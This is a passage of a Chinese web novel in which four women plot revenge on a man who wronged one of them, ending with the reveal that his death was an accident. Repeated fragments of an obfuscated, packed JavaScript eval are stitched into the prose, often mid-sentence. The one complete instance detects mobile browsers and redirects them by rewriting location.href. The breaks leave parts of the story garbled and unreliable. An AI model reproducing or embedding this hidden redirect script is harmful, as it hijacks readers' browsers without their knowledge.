“你要就给你。”老郝把挂饰扯下来塞给她。福春反手扇了他一巴掌,将人打得一怔。 刘芯三人这时找过来,福春趁机拉开车门下车,她理了理凌乱的头发倚在门边冲老郝说:“钱太少,你等晚上2点以后去观景台对面土坡接我回去。”说完拍了拍老郝的脸问,“听到没有!” 老郝被她弄得五迷三道,以为是打一巴掌之后给的甜枣,他在城里也遇到过那种鸡半夜做完生意搭他车又不想给车钱就用别的方式抵的。 “这么晚去哪啊?” “关你屁事。” “你不会耍我吧?” “你爱来不来。”福春把挂坠还给他,白嫩白嫩的手在老郝眼前晃悠。 老郝盯着盯着着了魔,连连答应。 人打发走之后,福春一语不发。花康宇瞅出不对劲,“你怎么回事?不知道刚才那是谁吗?” 福春不吱声,抬眼注视身旁三人。 “你怎么了?” …… “你怎么了?” 说到这里,福春突然问陈悦目:“我先前问你有没有去过海边你还记得吗?” 他们还没在一起时,有一次聊天喝酒福春问过他,那时陈悦目只当成福春拙劣的勾引。 “……记得,你问我看没看过海,我们以前有没有见过。”后来他发现事情没那么简单,“你瞒了我一堆事,以前怎么问你都不说。” “不是我不想告诉我,最初找你是想利用你帮我查点东西。到后来重新遇见柔柔和小宇确定了些事情。我就没脸说了。”福春拇指抚摸那个绣着小红花的布袋,“哎,其实我们在四月十三日那天见过……” * “你怎么了?”花康宇又问一遍。 福春不语。她仰头,向老天问了一个决定。 硬币抛到空中,闪亮的圆片跌落顺着马路滚到海滩阶梯上。福春一路追,跑着跑着渐渐定住,看着它碰到别人手边旋转落下。 陈悦目人如其名,长得远远看见就让人忘不了。福春看他不仅是因为长得好看,而是那时陈悦目在仰头晒太阳。 在陈悦目的脸上福春看见了女人仰头晒太阳时表情。 “你还记得你做了什么吗?”福春问他。 陈悦目对那天完全没有记忆。遇到福春之前他过得生不如死,可能那天又跟家里吵架了,他开车来海边散心,至于抬头看太阳—— “那天我应该在想要不要去死。” “啊,是这样呀!”福春轻巧地说,“原来是想死的表情。” “后来不知道谁的钢镚掉在我手边,很烦人,突然又没了死的心情。” 他随手把硬币翻了一面起身离开,却不知道在他走后福春捡起了那枚花朝上的钢镚。 刘芯她们也跟过来,望着福春不明所以。 “到底怎么了?” 福春回神,收起硬币面朝大海,许下她的愿望——杀人报仇。 * 刘芯坐在病床上呆滞看着前方。人来人走,只有她始终一人。 她习惯了孤独…… “你疯了吧?” “求你们,帮我这回。”福春跪在她们面前。 “我们怎么帮你,拿什么帮你?杀人要偿命的!”花康宇指着她鼻子骂,手指不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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福春挣脱开怀抱走进巷子。按照计划,她要给自己制造一个不在场证明。刘芯帮她买了一张长途车票做假证,这里大巴车上的监控早坏了,如果计划成功,她可以靠这个不在场证明躲过追查。 四月十三日晚,外头乌漆嘛黑,福春推开门进屋,大灯泡照得整间屋子明光铮亮。 “呦,都在呢!” 一大帮人围着饭桌喝茶嗑瓜子。福春脱下大衣指着对面陌生人热络地说:“这就是我对象吧!” 大伙欣喜点头。 她笑容满面问:“大不大,还是处男吗?” 客厅静了三秒。 一对中年男女跳起来追着福春满屋子打。 没过多久,福春被父母打出来。 巷子寂静,叫骂声随着铁门撞开冲向路口。路灯下尘烟四散,狗叫声吓得人回了神。 刘芯大喊:“快跑啊!”悄悄抬手擦去脸上泪水。 40. 复仇 陈悦目一点不意外福春干出这事,以她的性格拎着一兜子炸弹回家也不是没可能。 “后来呢?人死了?” 福春抻抻腿换个姿势又继续说:“人是死了……” 可不是她杀的。 她的灵魂好像被掏出一块,问:“人在我要杀他之前死了,你说这是什么意思?” 在福春看来,老郝无非生或死两种结果,生,就是她原谅了他,死,就是她原谅了福春。 福春在心里哀求她给自己一个赎罪的机会,允许自己在她的墓前杀掉老郝或者与他同归于尽。 她仰头,如同那晚一样看着天空,“我跪在她的墓前问‘你会原谅他吗?’” 布袋上刺绣红花被泪水浸湿,“她既不原谅他也不原谅我。” 那天福春在疯子墓前空等一晚。 第二天早上,刘芯跑来找她,说老郝已经死了。 她选择了第三种方式,让老郝死,但不是死在福春手上,就像抛硬币最后抛出了立起来的硬币。 “姐叫我别多问赶紧走。” 福春想搞清真相,可当时回去她会成为最大嫌疑人,即使不是她也很难洗脱怀疑。 陈悦目打断她:“你不在案发现场也不会留下痕迹,既然不是你杀的等警方调查就行了,为什么要跑?”他问完立刻醒过味,对上福春了然的眼神。 如果人是意外死的福春确实没必要跑,如果只是福春没杀人但事情还是和她有关呢?又或者说得更明白点——如果老郝是那三个人杀的呢? 想到这一层又让福春燃起希望,那畜生死在姐妹手上也算是死在自己手上了,她想这样是不是能代表她原谅了她。 福春不想因为自己连累姐妹,离开是唯一能保全四人的方法。 那晚她们四个互相都不知道对方干了什么,第二天白天的时候刘芯借着福春逃婚的事匆匆把群解散。她不敢多问,只能按照刘芯的话把所有社交账号全部注销,其余三人也删除了部分账号躲避追查。 分开的这段时间两方都没闲着,案子不讨论就不会掀起风浪,刘芯把福春的事添油加醋在村里传播盖过老郝的死讯。福春这边也试图借发廊的工作搭上警察打听案子进度,在这个时候,她鬼使神差选择了陈悦目。 万幸一年以后风平浪静,四姐妹都觉得安全了才敢重新联系。 福春摩挲手中布袋,“逃走以后我手机没电,到了市里充上电才发现她们三个陆续发给我的信息。” “我不知道是她们三个谁动的手,又或者是一起动的手,无论怎样都无所谓,以后她们的事就是我的事。” 也是因为看到了那三条消息,让福春下定决心报答她们,哪怕赔上性命也在所不惜。 阮晓柔最先发来消息。 那天晚上福春逃跑之后她去车站替福春检票做伪证,回去的路上撞见了老郝。 人生就是一场巨大的黑色幽默。相比福春老郝更中意阮晓柔,或许是认为像她这样温吞蠢钝的女人才好控制,趁车站外面没人老郝一路尾随把她拖进树林打算实施侵犯。 “你跟着那婊/子一起卖不如跟我……” “我不是,你放手!”挣扎中阮晓柔抓起带尖的石头一把砸中老郝太阳穴将其砸晕,事后匆忙逃离现场,等到回家她给福春发去短信:“老三,我害怕但是不后悔。” “不可能。”?陈悦目提出质疑。刘芯之前提过凶手死于车祸。这说法和阮晓柔的杀人方法有矛盾,凶手明显另有其人。 “嗯,不是她,那畜牲没死。”福春继续说,“我在凌晨时又收到了第二条短信,发信人是小宇。” 花康宇发来信息:“你要守承诺,帮我照顾姥姥。” 她是三人中反对最激烈的,也是最有可能帮助福春复仇的。后来两人在北江重遇时,花康宇告诉了福春当时的想法。她欠的债这辈子都不可能还完,与其浑浑噩噩还债过一生倒不如破釜沉舟帮一把福春。她打算把人杀了后投案自首,然后将姥姥托付给福春照顾,以福春的本事到了城市肯定会比她有出息,自己替她报仇也算值了。 “所以是花康宇?”陈悦目问。 福春曾经也以为人是她杀的。村里说那晚有个男的半夜跑老郝家寻仇,她一听就觉得那人是花康宇。 老郝半夜从昏迷中醒来回家,快走到门口被早已埋伏在那的花康宇袭击。 铁锹第一下砸偏了,他连滚带爬大喊救命。花康宇打得很凶,老郝的惨叫非但不能引来帮手还让家家户户关灯闭窗把门锁得死死的生怕牵连自己。 两人缠斗许久,在院里打得鸡飞狗跳,老郝让花康宇拿铁锹拍得四处逃窜,连刘芯家跑出来溜达的鸡都拍死了一只,最后还是让人连滚带爬逃进车里逃窜,然后十四号早上,老郝发生车祸意外身亡。 可能他到死都没明白到底是谁要杀他,为什么杀他。 福春先前猜想老郝的死是花康宇动了些手脚,但是后来被对方否定。 “不是小宇也不是柔柔,老郝就是意外死的。” 当福春确定老郝的死和花康宇没关系之后她就不愿意再提这件事。 案子没了追查的必要,所以她也对陈悦目隐瞒了这些事。从前她觉得他们的关系没到那份上,说不清也没必要说,而且惭愧又丢人。 “那刘芯呢?”陈悦目问。 福春惊诧:“你觉得可能吗?” “为什么不可能?” “我姐那个样子杀只鸡都费劲,她能动得了谁?”福春连连摆手,“她那天快吓死了,一直躲在被窝里。” “那她怎么知道人死了?” 福春提高嗓门:“陈悦目,我说这些不是为了让你帮我断案。”说完她随即冷静,不耐烦回答,“她家离村长家近,有什么消息第一时间就知道了。” “就这样?” “嗯呀!” 陈悦目终于不再问。 福春垮下肩膀呢喃:“跑的那天我在墓前抓了一把土,我说我带你回家。 “到现在我承诺她的事一件也没做, “她恨我是应该的。” 黑暗之前最后一缕光照在福春侧脸,她眼里含泪问:“人有什么办法能战胜死亡?” 老郝的死不仅没能让自己解脱,反而陷入了更深的束缚,失去她的那天福春的一部分也被困在大山。 “陈悦目我怕死,死了什么都没了。柔柔、小宇和刘芯对我很重要,我不想再重蹈覆辙了,你明白吗?” 死亡横在福春与爱的人之间让她的心被绞碎。往后她爱的人每被死神夺走一个,她就要经历一次这种痛苦,她一次也不想经历。 陈悦目听到这里突然笑了一声。 他想起刘芯说的话,他们都比不过一个死人。 只有用死才能在福春心中留下烙印,刘芯这样做了。 她赌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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空调在某个瞬间特别冷,花康宇搂住胳膊来回踱步。距离刘芯进手术室已经三小时,对搭桥手术来说是正常时间范围,只是等待这件事本身就特别煎熬,让人每一秒都如坐针毡。 “不会有事吧?”话音刚落,手术室门口亮起绿灯,大门缓缓打开,人躺在床上迅速从里面推出。 花康宇扑上去跟着。医生边走边在旁边交代事情,车轮子松松垮垮滚远,等到声音彻底消失时,皮鞋声又从走廊尽头传来。 陈悦目朝对面走去,不紧不慢。 走廊里一个黑点一动不动,福春从手术开始她就跟个石头一样蜷在那。直到脑袋顶上冷冷的光被阴影遮住,她才挪动身体,因为僵得太久连指节都能感觉到干涩。 “结束了。”温暖的手从她脖颈抚摸到后背,福春才发现自己冷到发麻。 福春一点一点抬头。 “人没事了。 “福春。” 陈悦目又唤了一声,她如梦初醒,吐出口长气,倒在他怀中又哭又笑。 没有人会离开她,事情不会重蹈覆辙,她会拼尽全力把她爱的人都全部保护好。 “没事了,没事了就好……” 所有恐惧在一瞬间释放,急于找一个出口宣泄。 41. 太阳杀死了他 爱是什么? 我们总能一眼洞穿他人,却没想过这样的犀利是因为同类相从。 福春嫌弃陈悦目的爱一塌糊涂,她的爱何尝不是一团乱麻。 吻是火热急切的,动作娴熟又狠辣。 小小的房间,躲在里面可以忘掉一切。 心跳随着动作一次比一次强烈。 福春双手紧紧抓住布料,将脸埋在床单里,上了瘾般急切搜寻陈悦目的味道,完全忘记最浓烈的源头就在她身后。 她的手被陈悦目按住,掌心贴着她手背抓起十指相扣。 失去着力点让福春的身体更加敏感,瘫软着任由每一个动作狠狠刮擦在她的感官上。 福春侧头,太阳从窗帘缝隙照进来,一条直直的光照在她脸上一耸一耸。 很失控,很舒服。 她苟且在一角热烈地庆祝,享受蓬勃的生命力在体内绽放。 活着真好。 福春偷笑。 * 放纵之后她睡了很久。中间醒过来几次,陈悦目给她喂饭吃药然后又让她继续睡下去。 福春觉得浑身热热的,想醒又醒不过来。 “我怎么了?” “你就是累了。” “姐好点没有?” 陈悦目给她放平掖好被角。 “我要去看她。” 福春得到一个额头吻。 “你亲我是什么意思?” “你猜。” “我怎么知道你想什么?” 陈悦目说:“想和你牵手散步。” “每一天吗?” 福春追问:“是不是每一天?” 陈悦目说:“睡吧。” 她真的睡过去了,一睡就是一周。 到后面福春恢复精神可以下床活动时,照顾她的人换成了洪婶。 陈悦目莫名其妙消失,连洪婶也说不上来他去了哪里。 福春懒得猜,在家吃了睡睡了吃,偶尔和刘芯打打视频唠嗑。她一点也不惦记陈悦目去了哪,想不都想,完全抛到脑后。 等她病完全好了准备去看刘芯时,陈悦目回来了。 他穿着冲锋衣胡子拉碴站在门口,把手里叮呤咣啷的东西一扔勒得她喘不过气。这混蛋不抱她还好,一抱就让福春怒从心起。 “脏死了你!” 陈悦目才不管。 消失的这段时间陈悦目没有解释去干什么,得知福春要去医院看望刘芯,他匆匆洗漱一番也要跟过去。 “你跟过去干吗?” “看看她。” “有什么好看的,她是我姐又不是你姐。” “你怕什么?” 福春结巴:“谁,谁怕了?” 陈悦目把包往车里一放,手撑在车门上看着对面说:“走吧?” “走就走!” 两人开车去医院,到病房的时候正赶上阮晓柔和护工换班。刘芯一见来人便对福春说:“帮我送送柔柔。” “才见面就赶我走,你也不说想我。” 病房里几人呵呵笑,气氛轻松愉快。 刘芯身体恢复得很好,陈悦目请了两个护工轮流照顾她,平时那三姐妹得空过来看一眼,也不用费事亲力亲为。 “走,跟我下去吃点东西。”阮晓柔看出端倪,帮着刘芯把福春支开。 护工也在陈悦目眼色下识趣离开,等人都走后,陈悦目把门合上。 刘芯调高床,有些吃力地坐起身,陈悦目把枕头垫在她身后帮她整理到舒适的位置。 “谢谢。” 他坐在床尾圆凳上,“不客气。”陈悦目说,“可能会谈很久,让你坐得舒服些比较好。” 刘芯垂下眼眸…… * 手术前一晚,陈悦目找到刘芯。 “福春跟我说了一个故事。” 刘芯一僵,低了低头,再抬起时又恢复如常。 “哦。” “但她只说了一部分。”陈悦目说,“我想最精彩的那部分应该由你来告诉我。” 刘芯撑坐在床头,整个人佝偻消瘦,几乎溶进黑暗中。她捂住胸口干咳两声,房间灯亮起来,陈悦目在床头柜替她兑了杯温水。 “谢谢。”刘芯问他,“你想知道什么?” “老郝的死。”陈悦目搬凳子在床尾坐下,“福春那蠢蛋话说一半以为我听不出来。” 他直话直说:“你应该不会瞒我。” “当然不会。”刘芯得意,这是她最骄傲的事。 “是我杀了那人渣。” 四月十三日凌晨,刘芯一夜未睡。 当时她正在家犹豫要不要去找福春,窗户突然被敲响。 老郝开车逃走,半路拐到刘芯家。 他用两个手指扒拉开窗,把那张血淋淋的丑脸挤在防盗网上。 刘芯吓得腿软,躲在墙角尖叫。 “妹子给我点药,我摔田里了。” 刘芯喊他滚。老郝不滚,还一个劲套近乎:“你家的鸡总跑我那,我给你送回来,你记得吗?” 他说了很多,又拼命把血抹掉。血抹得到处都是,他还舔着脸笑,把刘芯看得呆住。 她靠在墙边问他:“你还认得我?” 老郝反问:”怎么不认得? 刘芯冷笑一声,又继续问:“白天我们见过你记得吗?” 经她提醒老郝想起白天的事,看刘芯的眼神瞬间变得轻佻。 那模样让刘芯脑子轰地一声,一股火直烧得双眼腥红。 她看着眼前,看着这个畜牲。 刘芯觉得荒唐,才几年过去他就把村里忘得一干二净,眼里只剩下能操和不能操的。 小熙这几年的痛苦中他能体会吗?临死之前他会反省吗? 不用问刘芯也知道答案。 这样的人怎么配让福春付出几年光阴对付他? 她怒火中烧,走神间,老郝已经在那自说自话:“妹子,我知道你有药,随便给我拿点。”他指指自己额头,“好疼喔,你看你看。” 老郝看出刘芯的恐惧,故意吓她似的在外面叮铃咣啷乱敲。 刘芯强迫自己从愤怒中镇定下来,对他说:“我给你药,你等着别动。” 她走到外厅打开柜子,看看柜里塞满的药,又转头看看催促的老郝,疯狂的想法从脑海破土而出。 这个畜牲不配弄脏福春的手。 刘芯坐在地上,翻箱倒柜从最深处拿出放了很久的百草枯倒进止咳药水瓶。 过了一会,刘芯拿出碘酒纱布走到窗前递给老郝。 “对对,要的就是这个。” 她装作若无其事,“你要不要吃点药?” “吃药干什么?” “止疼提神。” “这不咳嗽药吗?” 刘芯点头,“嗯,止疼提神的。” 老郝盯着她上下打量,那张脸因为被烂糟糟的肉覆盖无法从中窥探任何想法。 他就那么盯着刘芯,盯到她冷汗直流,双手扣住桌边把指尖压得死白。 “行。”老郝忽然笑起来,把药收进袋子里,“一会路上喝。” 刘芯问他:“你还去哪?天快亮了还去观景台吗?” 老郝其实忘了这茬,他被折腾一宿已经不打算留在村里,要不是被开了瓢想来刘芯这讨点药早就跑回市里。被刘芯一提醒,老郝想起白天福春那骚里骚气的模样又开始心猿意马。 临走前,他突然回头故作潇洒靠在引擎盖上对刘芯说:“我去观景台看看那妞还在不在。”然后发动车子走人。 刘芯听了他的话瘫在地上,呆坐着忽然发狠抽打自己嘴巴,发疯似的在地上爬,跌跌撞撞站起来,抄镰刀追出去。 善恶一念之间。 刘芯手持利刃屠魔,自己又何尝不是魔。 可她不后悔。 她擦干眼泪给福春打电话,打过去语音提示关机,只好不断发短信。 “我知道拦不住,但是我也要尽全力试试。我要保护我爱的人。”刘芯揩掉眼泪,笑着对陈悦目说,“我做到了。” 她开着三蹦子沿公路追出去,走了好久在半道上看见焦黑的刹车痕和撞断的护栏。 那时天刚亮,路上浓浓的胶皮味。刘芯停下来朝断开的护栏下看去,山坡下灌木丛被划开裸/露出土地。干枯枝杈直直穿过车身,车头还在冒烟,她认得老郝的车,吓得缩回去,心中悲喜交加。 路上还有别的车驶过,发现状况停下来报警。 刘芯退后,在角落看见压瘪的止咳糖浆空瓶。 她把瓶子捡起来藏进裤兜,颤抖着双手给福春发去短信:“我能为你做任何事。” * 两周前,刘芯把故事的后半段告诉陈悦目。如今两人再见面她心中畅快,满是胜利者的喜悦。 她看一眼窗外转头问陈悦目:“你要抓我吗?我无所谓。” 她得到福春的爱什么都值了。 陈悦目坐在床尾,还是和之前一样的位置。 爱是什么?到底要怎么去爱?他想这个课题恐怕要用一生去研究。 说事情之前,他先叹了口气。 “你们几个白痴,担惊受怕想了那么多,都想不到去交警队问一问吗?” 刘芯不甩他这副拽上天的做派,“问了,警察不让瞎打听,再说我动手杀人,跑去追根究底不是自投罗网吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687273|134656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈悦目翻个白眼,从包里拿出一个牛皮纸大信封,“老郝干网约车的,车里一直开着录像。” 虽然非亲属不能查看他人车祸档案,但对陈悦目来说不是难事。 “这点事查起来不怎么费功夫。”他把信封扔给刘芯,“看看吧。” 刘芯没动,坐在那面色青黑,“怎么了?” “你自己看吧,我说话不好听,怕刺激你。”陈悦目说,“到时福春跟我没完。” “你算什么?”刘芯把信封扔出去,跟他较劲一般,“你说。” 这点事上陈悦目没必要较真,怎么说由谁说无所谓,只要说了就行。 他拿过信封打开,两指夹着慢慢地从中抽出报告。 “四月十四日五点五十分,车子在盘山公路冲出护栏坠下山崖……” 那条是去往沿海观景台的路,出事的那段是个大弯。交警取证时发现他当时处于接单状态,可能是用另一个手机号为自己刷单积累时长,也就是说他当时车里的摄像和录音也都是开着的。 警方和平台调取了当时车内监控,还原了事发经过。 老郝由于头部创伤出现不适,拿药的过程中药瓶跌落,他伸手捡药导致方向盘失控发生事故身亡。 刘芯摇头,不认同这个说法。这是警方敷衍了事,绝对不是事情真相。 “不可能,就是我杀了他,那个喝光的止咳糖浆瓶子就丢在路边,我捡起来了!” “你确定那瓶就是你当初给的那瓶吗?”陈悦目告诉她,“你的那瓶被卡在刹车下面,而且里面也不是百草枯,而是过期坏了的止咳糖浆。” 刘芯不可置信。 “我明明……” “很荒唐,但事实如此。”陈悦目把信封里的材料全部倒出来丢在床上,“他没有中毒迹象,录像也显示他从头到尾没喝过你给的药。” 刘芯瘫在床上,双眼涣散,“怎么会……” 这场轰轰烈烈的复仇怎么会高高拿起轻轻放下,她们像个小丑白忙一场。 刘芯噗嗤笑出来,越笑越疯,笑着笑着眼泪流下来。 她在老郝死后好长一段时间夜不能寐,因果循环,无往不复。每个夜晚她都梦见那辆坠下山崖的的车,老郝就站在路前方朝她招手。刘芯做好了准备给老郝偿命,没想到竟被老天爷开了个玩笑。 她觉得一点都不好笑。刘芯反应过来后揪住被子扑上前警告陈悦目:“不要告诉小熙,绝对不能告诉她。” 刘芯不是邀功,也不是自私想独占福春的爱。她好不容易才将福春从痛苦之中解脱出来,“陈悦目你不要告诉她,我求你。” 刘芯捂住胸口,闷闷的哀求从被褥间发出:“我会离开,出院以后我会自动消失,你不能告诉她。” 陈悦目当然知道这件事对福春来说意味什么。他爱福春,爱的不比任何人少。 “我要告诉她。” 陈悦目站起来,“老郝的死是偶然也是必然。”他转身,大声说,“监控显示,他弯腰捡药的时候被车前挂饰折射的阳光影响视线,方向盘失控,后座的鸡飞到前座扰乱驾驶,导致车辆撞出护栏最终跌落悬崖。” 从那枚硬币抛起,这场复仇就开始了。 福春从头到尾都不是孤独地在战斗。阮晓柔打伤老郝导致他后半夜才苏醒只能去找刘芯拿药,花康宇的追杀让刘芯家跑出来的鸡飞到老郝车内,刘芯给的药虽然不是百草枯但是药瓶卡住刹车,最后是福春的挂件在太阳升起时折射的光线给了老郝致命一击。 “……是太阳杀死了他。” 陈悦目打开门,对背向他站在门外的福春说:“你们的复仇成功了。” 福春没动,既没转过来也没走开,直直站在那,直到陈悦目上前把她抱在怀里才一点点揉碎浇筑的伪装。 她不停颤抖。 “我去了你说的那个地方。” 消失的两周里,陈悦目和警局的朋友一起进山,他们找到当年疯子出事的那个地方。那个坡很深,往下是一道不见天日的深沟,里面是巨大的沼泽地。 陈悦目下到沟里找了几天,最终发现了福春当年留下的书包。 书包角落里面有奶奶用裹福春的小被打的补丁,独独那一块沾了很多血。可能当年福春走的时候疯子还没有死,老郝找到她之后发生了打斗,疯子为了护住书包被推下深沟。 “福春,她没怪你。”陈悦目搂住她,眼中的血丝被一层湿润覆盖,他哑着嗓子说,“车子坠落的地点就在观景台背面你知道吗?” 警察也从来没见过这么惨烈诡异的车祸。车窗有一面甚至都是完好的,但是人在车里被摔了个稀巴烂。 “她很爱你。” 福春放声大哭。 42. 什么关系? 一周后,刘芯出院。 大家过来帮忙收拾东西。 当年的案子也随着新证物被找到重新展开调查, “出院之后去哪?阮晓柔家吗?”陈悦目问。 福春她们下楼办手续,病房里剩下陈悦目和刘芯。 刘芯听见他的话笑笑,反问:“怎么?怕小熙跟我跑了?” 陈悦目朝窗外看去。 昨天刚下了点雨,今天天气像被打通了似的格外晴朗。刘芯走过去反靠在窗边,觉得还是跟他解释一下比较好:“我只希望小熙能快乐。”每个有每个人爱的方式,刘芯有自己的执着,“我想做的是她永远的家人和依靠,做这个世界上最爱她的人。” 她不在了,刘芯就来做这个世界上最爱福春的人,“我要活下去,好好活着,做她最坚强的后盾。”哪怕所有人都叫她福春,刘芯还是坚持叫她小熙。福春也好,春福也罢,当初汤恩熙才是她自己选的名字,刘芯只会做让她开心的事。 “有她在的每一天对我来说都很幸福。” 抬头,窗外阳光灿烂,陈悦目若有似无嗯了一声。 他和刘芯默契般地享受这一刻的平静。 “福春!干吗呢!” 病房楼下是小花园,楼上看下面一清二楚。 “小熙,别什么都往嘴里塞!” 福春一惊,仰头发现上面的人。 “怎么什么都吃?”陈悦目骂她。 楼下的小傻子呸呸两声,瞪圆眼睛一脸无辜摊手,嘴唇上沾着叶子也浑然不觉,“没有啊,我就看看,真没有。” 刘芯失笑:“听说小动物第一次投胎做人就是这样对什么都好奇。” 陈悦目摇头,“她不是小动物。” “那是什么?” 是什么呢? 两人抬头看天。 * 工作日,阮晓柔难得在家休息半天,福春皱眉瞪眼坐在床边看她给老公补衣服。 “你这什么表情,我老公又没惹你。” 她啧啧两声,“你看你,给他干活还傻乐。” “那他给我干活也傻乐呀!”阮晓柔喜滋滋说,“等你跟陈悦目结婚过日子就知道了。” 福春很不开心,一想到陈悦目她就觉得烦。她最近总想打他骂他,折磨他,想跟他大吵一架然后再痛快地做/爱。 想到这她更烦了,心里憋着股火就想发泄出来。身旁的人瞥她一眼,抿住嘴角:“干吗?想陈老师了?” “谁想他啦?”福春气呼呼脸颊通红,伸手去抢她衣服,两人躺在床上打打闹闹,一直玩到下午福春才离开。 从阮晓柔家出来她在街上闲逛,路过奶茶店顺手买了杯珍珠奶茶。排队的时候一对黄毛情侣排在等候区贼眉鼠眼,趁着叫号取餐人多杂乱,两人顺走一杯奶茶。 “哎,这我的奶茶!”福春喊住他们。 黄毛男想拽女朋友走,女的心虚,被喊住站在那不知所措。愣神的功夫福春追上来,“想喝自己去买,怎么还顺别人的?这点出息。” 她斜乜眼打量对面,这俩人合一起还没电线杆子粗,身上的衣服比人还窄,童装都找不到这么小的码,穿在身上像裹电线的塑料皮。 精神小妹和精神小伙是个很神奇的群体,他们一点不觉得自己“精神”,甚至跟着大众一起批判和嘲笑,直到跳脱出来时才会猛然发现“哎呦,我原来是这样。” 福春不打算要回奶茶了,如今她看着他们像看着曾经的自己,那一头黄毛让她既亲切又心酸,忍不住好言相劝:“没事干就回学校学习,不爱学习就去厂里打螺丝。打扮成这个鬼样子偷鸡摸狗知不知道别人都在笑你们?” 精神小妹被说得不好意思,手里抓着奶茶怯怯地要还给福春。 她的亲亲男友精神小伙在一旁恼羞成怒,挥拳头大骂:“关你屁事!” 福春被他一吼火腾地上来,指着那头黄毛啐道:“兜比脸都干净,你牛什么牛,还我奶茶钱!” 黄毛这下不吭声了,反倒是女的抹不开面要把奶茶还给福春。精神小伙觉得还奶茶丢面子又不乐意了,扬起拳头又要打福春,福春一看他要打过来又开始嚷嚷还钱。 三个人鬼打墙一样在奶茶店前吵起来,福春向来不要脸,往台阶上一坐开始撒泼,一副要闹到天荒地老的架势。 陈悦目下了课往家走,路过奶茶店看见围上一圈人也闲得凑上去看热闹。喜欢看热闹的毛病是他在国外养成的,但是现在回国他觉得是时候改改了,因为他发现回回吃瓜都吃到自己家头上。 福春坐那披头散发嚷嚷:“还钱!还钱!!” 精神小伙在她面前来回打转,作法似的。福春吼半天吼得嗓子冒烟,自己买的奶茶还在别人手里,她越想越不值,索性也不喊了直接扑上去跟人撕吧。 “哎,别打了。”陈悦目看够热闹从人群冲出来搂住福春往外拽。为几块钱奶茶当街打架,说出去他丢不起这人。 陈悦目一口气把人抱着走过街角,等离了人群才放福春下来。 “陈悦目我弄死你!”一双手胡乱在他眼前扑棱,福春把刚才没撒完的气全撒他身上。 “我都快打赢了!”福春嚷嚷,她打一半让陈悦目给拽出去,拽她出去也就算了,扛大包似的扛她,把她腰都快勒断了,吼一路都没反应,简直把人气死,“你是不是耳背啊!” 她气得跳脚,脑袋上浇点水能冒烟的样子把陈悦目逗笑,贱兮兮笑过瘾才靠上前给她揉腰道歉:“勒疼了,我摸摸。” “滚,臭流氓。” 两人慢慢走在道上。 “你买杯奶茶也不消停,几块钱的事至于吗?” 福春不赞同:“什么叫至于吗,你都没搞清楚原委就怪我!” 陈悦目牵上她的手说:“愿闻其详。” “少阴阳怪气。”福春哼一声,“闻你自己的翔。” 她憋一肚子委屈跟陈悦目把刚才的事说了一遍,说到对方不领情还要打她又开始愤怒。 福春恨铁不成钢:“不知道好赖,我是过来人才好心劝他们。”说到激动处她挥舞胳膊,“头发染得跟翠鸟似的,穷成那样还不老实,两个人掐吸管喝一杯奶茶觉着甜还是怎么着?” 陈悦目眼含笑意,“你以前还不是一样?” “多丢人啊,我现在都后悔了,土的要命!”福春跟陈悦目住一起没多久就把头发染回黑色,直到后来也很少折腾头发,最多就上个卷子夹一夹或者编个麻花辫弄点弯。 她跟陈悦目待久了习惯和审美都逐渐靠近,如今再叫她打扮成以前那样她第一个嫌弃辣眼睛。 “我以前那个样子你也喜欢啊?” 街边新开了好多小店卖水果,陈悦目正在看旁边卖桃的犹豫要不要买点,一手拿着桃子若无其事接话:“嗯,喜欢啊。” 他把福春拖在身后,蓝色衬衫被汗水沾湿黏着一点在他宽阔的肩背,福春抬眼看他,眼睛好像掉进根羽毛一直搔到心里痒痒的。 两人回到家,福春忽然问他:“你有破衣服吗?” 陈悦目:“没有。” 福春:“你衣服穿不坏吗?” 陈悦目:“坏了就扔。” “浪费。” “你要破衣服干吗?” “我要给你补衣服。” “现在谁还穿补的衣服?你穿吗?” “柔柔还给她老公补衣服呢!” 福春倒在床上,“没有就算了,我要睡觉。”她扑棱一阵翻过身捧着手机玩,身后安静,过了一会陈悦目把衬衫脱下来扔她脑袋上,“补吧。” 福春拽下衣服丢回去,“没坏补个屁呀!” 陈悦目当着她面把衬衫撕开一道大口子又递回她面前,“这回能补了吗?” 这纯纯找茬,福春跳起来打他。 捶上胸膛那一下又疼又痒,疼就一点,痒是勾得心痒。打那一下浆糊似的,手摸上去就不撒开。 陈悦目由着她,站那任打任骂,福春越打越气,一口一个死狗,孬种的骂陈悦目,又不过瘾在他锁骨上挠出几条血道子。 两人挨着,你进一分我退一步。陈悦目渐渐压上,对着福春桀骜跋扈的漂亮脸蛋,眼神淡漠。他越挨越近,近到鼻尖碰上鼻尖,直到福春颤动睫毛快把眼睛闭上,才忽然抬手从衣柜里又拿出一件衬衫转身换上。 “晚上有课。” “死狗,有种你别回来。” 皮包扣摔打桌角连着拉链声响到门口,陈悦目扭头回敬:“衣服缝好,不缝好我收拾你。” 福春告诉他:“去死吧!” 陈悦目去了,伴着吼声出门上课。 * 刘芯在医院拿药顺道去找福春,打电话的时候福春还在生气,一听刘芯来找她又立马好起来,扔下补一半的衣服屁颠颠出门。 手术完刘芯也没什么事,本来打算出院就回村里,姐几个怕她身体没恢复非让她再住一段时间。刘芯胳膊拧不过大腿,只得乖乖听她们的留在阮晓柔家。 